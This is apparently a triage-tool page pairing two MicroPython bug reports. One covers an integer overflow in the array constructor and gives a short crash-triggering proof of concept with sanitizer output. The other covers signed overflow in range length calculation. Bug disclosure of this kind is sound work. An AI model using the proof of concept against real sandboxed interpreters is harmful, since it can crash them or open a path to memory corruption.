← index #18620Issue #18144
Related · high · value 1.028
QUERY · ISSUE

Integer overflow in `array` constructor via `len*itemsize` multiplication

openby jackfromeastopened 2025-12-30updated 2025-12-31

Port, board and/or hardware

unix port

MicroPython version

MicroPython v1.27.0-preview.45.g1588c455c.dirty on 2025-11-23; linux [GCC 13.3.0] version

Issue Report

array_construct trusts a user __len__ when preallocating storage and multiplies the length by the typecode size without overflow checks. With a huge __len__, the multiplication wraps to zero so array_new allocates a NULL/too-small buffer but still records the large logical length. The ensuing array_extend_impl fills elements via mp_binary_set_val_array, which dereferences the NULL buffer and crashes.

Proof of Concept:

from array import array


class Boom:
    def __len__(self):
        return 1 << 61  # overflows typecode_size * len in array_new

    def __iter__(self):
        for _ in range(4):
            yield 1.23


array("d", Boom())

What does this issue allow an attacker to do?

This vulnerability allows an attacker to trigger a buffer overflow, potentially leading to memory corruption, crashes, or arbitrary code execution.

How does the attacker exploit this issue?

The attacker can exploit this by executing the malicious code shown in the PoC above. This could be used to escape Python sandboxes or break out of restricted execution environments.

<details>
<summary><strong>Vulnerable Code Location</strong></summary>

static mp_obj_t array_construct(char typecode, mp_obj_t initializer) {
    ...
    mp_obj_t len_in = mp_obj_len_maybe(initializer);            // calls user __len__ (returns 1<<61 in PoC)
    if (len_in == MP_OBJ_NULL) {
        len = 0;
    } else {
        len = MP_OBJ_SMALL_INT_VALUE(len_in);
    }

    mp_obj_array_t *array = array_new(typecode, len);           // overflowed len feeds allocation and logical length
    array_extend_impl(array, initializer, typecode, len);
    return MP_OBJ_FROM_PTR(array);
}

static mp_obj_array_t *array_new(char typecode, size_t n) {
    int typecode_size = mp_binary_get_size('@', typecode, NULL);
    ...
    o->len = n;
    o->items = m_new(byte, typecode_size * o->len);             // size_t multiplication can wrap to 0, yielding NULL/undersized buffer
    return o;
}

void mp_binary_set_val_array(char typecode, void *p, size_t index, mp_obj_t val_in) {
    switch (typecode) {
        case 'd':
            ((double *)p)[index] = mp_obj_get_float_to_d(val_in);   // dereferences the NULL/undersized buffer and crashes
            break;
        ...
    }
}

</details>

<details>
<summary><strong>Sanitizer Output</strong></summary>

AddressSanitizer:DEADLYSIGNAL
=================================================================
==529734==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x60f18d65db3c bp 0x7090fb881b80 sp 0x7ffe640c10e0 T0)
==529734==The signal is caused by a WRITE memory access.
==529734==Hint: address points to the zero page.
    #0 0x60f18d65db3c in mp_binary_set_val_array ../../py/binary.c:482
    #1 0x60f18d61d3f6 in array_extend_impl ../../py/objarray.c:124
    #2 0x60f18d61eb4a in array_construct ../../py/objarray.c:158
    #3 0x60f18d61eedc in array_make_new ../../py/objarray.c:176
    #4 0x60f18d651c2b in type_call ../../py/objtype.c:1060
    #5 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
    #6 0x60f18d66e9a8 in mp_execute_bytecode ../../py/vm.c:984
    #7 0x60f18d62c1d4 in fun_bc_call ../../py/objfun.c:295
    #8 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
    #9 0x60f18d60e9c6 in mp_call_function_0 ../../py/runtime.c:701
    #10 0x60f18d809fdc in execute_from_lexer /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:162
    #11 0x60f18d80a0f2 in do_file /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:311
    #12 0x60f18d80ba15 in main_ /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:728
    #13 0x60f18d80c06a in main /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:494
    #14 0x7090fb62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #15 0x7090fb62a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #16 0x60f18d5ad784 in _start (/home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/build-coverage/micropython+0x21e784) (BuildId: ef44fcbd48195c8242bc6ba3e1fc292f19527c57)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/binary.c:482 in mp_binary_set_val_array
==529734==ABORTING

</details>

Code of Conduct

  • Yes, I agree
CANDIDATE · ISSUE

Integer overflow with large ranges

openby jepleropened 2025-09-26updated 2025-09-26
bug

Port, board and/or hardware

unix port, ci unix_sanitize_undefined_build

MicroPython version

MicroPython v1.27.0-preview.208.gadf6319884 on 2025-09-26; linux [GCC 14.2.0] version

Reproduction

Run the following snippet: import sys; print(range(sys.maxsize)[0])

Expected behaviour

No UBsan diagnostics; the number 0 is printed

Observed behaviour

The following diagnostics are produced:

../../py/objrange.c:115:14: runtime error: signed integer overflow: 9223372036854775807 + 1 cannot be represented in type 'long int'
../../py/objrange.c:117:13: runtime error: signed integer overflow: -9223372036854775808 - 1 cannot be represented in type 'long int'

Additional Information

This is related to the cpydiff documented at https://docs.micropython.org/en/latest/genrst/builtin_types.html#range

There are other misbehaving combinations. For instance, here's one with a step that erroneously produces an empty range:

print(range(0, sys.maxsize, sys.maxsize//2)[-1])

but they all seem to stem from signed integer overflows on those two lines (plus line 119 for negative steps)

   113  static mp_int_t range_len(mp_obj_range_t *self) {
   114      // When computing length, need to take into account step!=1 and step
<0.
   115      mp_int_t len = self->stop - self->start + self->step;
   116      if (self->step > 0) {
   117          len -= 1;
   118      } else {
   119          len += 1;
   120      }

Code of Conduct

Yes, I agree

Keyboard

j / / n
next pair
k / / p
previous pair
1 / / h
show query pane
2 / / l
show candidate pane
c
copy suggested comment
r
toggle reasoning
g i
go to index
?
show this help
esc
close overlays

press ? or esc to close

copied